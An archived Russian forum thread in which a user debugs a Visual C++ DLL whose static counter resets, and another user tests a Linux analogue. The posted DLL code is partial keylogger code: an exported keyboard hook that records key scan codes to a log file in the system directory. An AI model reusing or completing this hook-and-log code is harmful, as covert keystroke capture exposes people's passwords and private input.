Заархивировано

Эта тема находится в архиве и закрыта для дальнейших ответов.

Marik

Проблема с вводом/выводом

Рекомендуемые сообщения

Суть проблемы: Есть некий код, он с помощью функций WinAPI открывает файл, пишет/читает и закрывает. Ежели этот код написать в обычном проекте win32 application, то всё работает. А вот если разместить его в проекте win32 dll (что мне и нужно), то работа с файлами не получается. При открытии файла возникает ошибка "файл уже существует" или "файл занят другим приложением"... не знаю что и делать. Надеюсь на добрый совет, как разрешить эту дилему.

 

Вариантов типа "Использовать другие языки" или "не использовать dll" или "воспользоваться MFC, ATL и т.д." прошу не предлогать.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Всем заинтересовавшимся спасибо, но вопрос уже решился, а потому снимается. Однако, это только начало. Будут и ещё вопросы )))

 

Открываем астраханский филиал RSDN-а :-)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

главное - если что-то спрашиваете - типа "А у меня не работает - пАчиму?"

будьте любезны исходничек (или часть оного) предоставить публике

RSDN - типа вфка получиться и то может быть

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

А вот ещё один вопросик (тоже MS Visual С++, проект dll):

#include

...

 

static int pAram = 0;

...

 

void mInit()

{

...

  pAram += 123;

...

}

 

void Funct()

{

...

  pAram++;

...

}

 

Из exe-проекта сначала функция mInit вызывается один раз, а потом Funct уже много раз. При первом вызове Funct значение pAram почему-то равно 0. Далее добропорядочно увеличивается... ПОчему? :blink:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Что ж, никто не знает?... даже не предположит? Где же вы, программеры?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Marik Ты непонимаешь или не хочеш принять мою помощь????

Я спросил ту функцию которая проверяет значение.

Короче, весь код давай.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Yttrium Не совсем корректный вопрос порождает не совсем корректрый ответ...

 

Вот та часть кода, которая имеет отношение к заданному вопросу.

 

Файл номер раз: Код ДЛЛ-ки

// kidll.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

 

// Глобальные переменные

HANDLE hmod;

HHOOK khook;

HANDLE LogFile;

 

static unsigned int iG = 0;    // То самое, что называлось в вопросе pAram

...

 

// Определения функций

...

 

DWORD logWrite(LPTSTR string, DWORD len)

{

DWORD t, fLength;

 

GetSystemDirectory(FullLogFile, 256); //

lstrcat(FullLogFile, "\\");  // Получаем путь к логу

lstrcat(FullLogFile, LogFileName); //

 

LogFile = CreateFile(  // Открываемый файл

  FullLogFile,  // Имя файла

  FILE_APPEND_DATA, // Права с которыми открывается файл (запись)

  0,  // Файл открывается для дописывания

  NULL,  // Свойства безопасности отсутствуют

  OPEN_ALWAYS,  // Открывать всегда = если файла нет, будет создан новый

  FILE_ATTRIBUTE_NORMAL, // Атрибуты файла

  NULL); // Наследование атрибутов файла отсутствует

 

if(LogFile != INVALID_HANDLE_VALUE)

{

        // Запись в файл

        WriteFile(LogFile, string, len, &t, NULL);

 

  // ???Добавить обработку ошибок!

  if( (fLength = GetFileSize(LogFile, NULL)) > LogFileMaxSize)

  {

  CloseHandle(LogFile);

  MoveLog(fLength);

  }

 

  // Закрываем файл

  CloseHandle(LogFile);

 

  return t;

}

 

return 0;

}

 

 

// Главная функция dll

BOOL APIENTRY DllMain( HANDLE hModule,

      DWORD  ul_reason_for_call,

      LPVOID lpReserved)

{

hmod = hModule;

return TRUE;

}

 

// Та самая интересная функция (вызывается один раз)

void sInit()

{

...

 

// Стартовая запись в лог. Дата и время.

GetSystemTime(&curTime);

GetDateFormat(

  LOCALE_SYSTEM_DEFAULT,

  DATE_SHORTDATE,

  &curTime,

  NULL,

  BufStr0,

  sizeof(BufStr0));

bWritten = lstrlen(BufStr0) + 1;

BufStr0[bWritten - 1] = '\0';

 

GetTimeFormat(

  LOCALE_SYSTEM_DEFAULT,

  TIME_FORCE24HOURFORMAT,

  &curTime,

  NULL,

  BufStr0 + bWritten,

  sizeof(BufStr0) - bWritten);

wsprintf(  // Формируем строку содержащую системное время и дату

  BufStr1,

  "LogStarted [%s %s]",

  BufStr0,

  BufStr0 + bWritten);

 

iG += lstrlen(BufStr1);  // То самое увеличение переменной

 

logWrite(BufStr1, lstrlen(BufStr1));

}

 

// Та самая интересная функция (вызывается много раз)

// Функция для обработки клавиатурного ввода.

LRESULT CALLBACK HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam)

{

DWORD IsDown = !(lParam >> 31);  // Нажимается клавиша или отжимается

DWORD WasDown = IsDown ? lParam >> 30 : (lParam >> 30) - 2; // Была ли нажата клавиша в предыдущий момент

SHORT OutCode = (lParam >> 16);  // Скан-код клавиши и параметры события

// & 0xFDFF; // сброс бита "don't care" чтобы различать правые и левые функциональные клавиши

 

if(nCode == HC_ACTION)

{

  lstrcpy(BufStr1, "");

  bWritten = 0;

 

  if(!(WasDown && IsDown))

  {

  // Формирование выходного значения

  BufStr1[bWritten] = (BYTE)(OutCode >> 8);

  BufStr1[bWritten + 1] = (BYTE)(OutCode & 0x00FF);

 

  ...

 

  iG += 2;

  if(iGamma >= G_SIZE) iG = 0;

  }

 

  // Если есть что записать, Записываем в лог то что собрали

  if(bWritten != 0)

  {

  logWrite(BufStr1, bWritten);

  }

}

return CallNextHookEx(khook, nCode, wParam, lParam);

}

 

В заголовочном файле присутствует следующее описание функций:

extern "C" __declspec(dllexport) LRESULT CALLBACK HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);

extern "C" __declspec(dllexport) void Init();

 

В экзешнике один раз вызывается функция Init, а HksKeyProc соответсвтенно много разов. Я сейчас убрал вывод в файл (то бишь, отладочную информацию), но факт, что при вызове HksKeyProc, iG = 0...

 

Жажду разрешения моей дилемы... Заранее благодарен!

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

а где описание BufStr1???

 

у меня всё работает

[yttrium@localhost proj]$ cat pArm.c
#include "pArm.h"
#include <stdio.h>

static int pAram = 0;

void mInit()
{
 pAram += 123;
 printf("%d\n",pAram);
}

void Funct()
{
 pAram++;
 printf("%d++\n",pAram);
}
[yttrium@localhost proj]$ cat pArm.h
void mInit();
void Funct();
[yttrium@localhost proj]$ gcc -fPIC -c pArm.c
[yttrium@localhost proj]$ gcc -shared -o libpArm.so pArm.o
[yttrium@localhost proj]$ cat exe.c
#include "pArm.h"

main()
{
 mInit();
 int j = 7;
 while(j--)Funct();
}
[yttrium@localhost proj]$ gcc -c exe.c 
[yttrium@localhost proj]$ gcc exe.o -L. -lpArm -o exe
[yttrium@localhost proj]$ LD_LIBRARY_PATH=.
[yttrium@localhost proj]$ export LD_LIBRARY_PATH
[yttrium@localhost proj]$ ./exe 
123
124++
125++
126++
127++
128++
129++
130++
[yttrium@localhost proj]$

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Marik

А вот ещё один вопросик (тоже MS Visual С++, проект dll):

 

Yttrium Спасибо что заинтересовался вопросом (что-то я забыл как-то сразу сказать), но ведь суть вопроса в том, что проект создан в MS VC++ .NET, что это dll, и компилить его в линухе у меня возможности нет (на это тоже свои причины).

 

а где описание BufStr1???
Выше было, просто вырезал (я много чего вырезал из исходника)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Ну я тоже разделяемую библиотеку смастерил, в *nix системах она *.so

 

Я думаю твоя проблема скрыта за громозкими функциями, попробуй закоментировать, некоторые строки некоторые модифицировать, таким образом чтобы остались основные идеи, кое где с эмуливровать вывод апи-функций, используй отладчик. Это вполне очевидные вещи, но именно так поступают в таких случаях.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Yttrium Я знаю и именно так поступаю, но... :(

Функции не сказал бы уж очень громоздкие, но факт, что всё вырезанное и комментить пробовал (т.е. получался примерно тот код что я тут написал), да и в дебагере хрен поймёшь - до определённого момента всё хорошо, а потом вдруг на 0 сбрасывается значение... не знаю что и делать!...

 

Потому и сюда написал. Стараюсь глупыми вопросами не озадачивать общественность.

 

PS: Под никсы - эт конечно хорошо, но дело-то может быть и в компиляторе, мож это именно Макрососовский компилятор такую ерунду делает... Потому мне и важно, чтобы именно на таком же проверяли (те кому интересно мне помочь)

 

PPS: И как единственному представителю последних, тебе ещё раз респект и спасибо! ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Marik Обрати внимание на описание BufStr1, его инициализацию и другие указатели.

до определённого момента всё хорошо
Я выработал для себя правило если такая хрень случается то где-то указатель либо неинициализируется, либо неправильно используется.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Yttrium BufStr1 вообще-то не имеет никакого отношения к переменной iG с которой возникают проблемы...

И какие могут быть указатели, если iG - это static int?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты